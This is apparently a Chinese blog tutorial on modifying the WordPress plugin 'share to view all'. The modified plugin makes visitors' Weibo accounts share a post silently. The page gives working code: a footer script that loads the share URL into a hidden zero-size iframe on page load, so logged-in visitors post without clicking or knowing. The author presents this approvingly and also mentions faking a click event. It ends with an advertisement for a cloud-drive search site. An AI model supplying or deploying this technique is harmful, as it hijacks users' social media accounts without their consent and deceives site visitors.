您的位置:首页 > 其它

wordpress插件share to view all 实现自动化用户无感知分享到微博之自动分享到微博后显示指定内容

2016-07-08 16:53 246 查看
上一篇文章我们讲了wordpress插件share to view all的使用方法,这一篇我们讲解如何在用户无感知情况下自动分享你的文章到微博,如果您没看我的上一篇文章,建议还是先看一下,了解一下share to view这个插件,再来看这篇文章,上一篇地址是:/article/11903806.html,看过上一篇后就可以看这篇了,好了废话不多说,现在开始说具体步骤:首先打开插件share-to-view-all文件夹下的share-to-view-all.php,找到以下代码:
<a onmouseover="javascript:this.href=\'#\';" onclick="javascript:window.open(this.rel);return false" rel="'.$sinaurl.'" href="'.$uisname.'"><img style="vertical-align:middle;padding:0px;margin:0px;border:0px; display:inline;" src="'.get_bloginfo('wpurl')  . '/wp-content/plugins/share-to-view-all/sina.gif" alt="点击转播到新浪微博即可查看全部内容" /></a>
给这个超链接加一个id值,我加的是id="sharebutton",这个你自己想取什么名字随意,然后,在后台,外观,编辑里面打开foot.php,添加如下代码:
<script>function autoShare(){var shareButton = document.getElementById('sharebutton');if(shareButton != '' && shareButton != null && shareButton != 'undefined'){var url = shareButton.rel;document.getElementById('autoframe').src = url;}}autoShare();</script>
在body前面添加以下代码:
<div style="display:none"><iframe id="autoframe" src="" width="0" height="0"></iframe></div>
ok了,现在只要用户打开了你设置了隐藏区域的文章,不管他有没有点击分享按钮,都会分享出去,但前提是这个用户已经授权,一般这个链接是在微博中打开的,因此大多数情况下是授权的,是不是很暴力有木有!还有一种方法是在页面加载完后,用js触发那个超链接a的click事件,不过一般浏览器都会认为是广告,拦截掉,所以大家还是选择上面的吧。顺便给大家介绍个网站:http://pan.muyi.so 网盘搜索神器 专门搜索网盘资源的,各类教程视频啥的基本都能搜到。网盘搜索神器沐伊神器 咻盘网
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: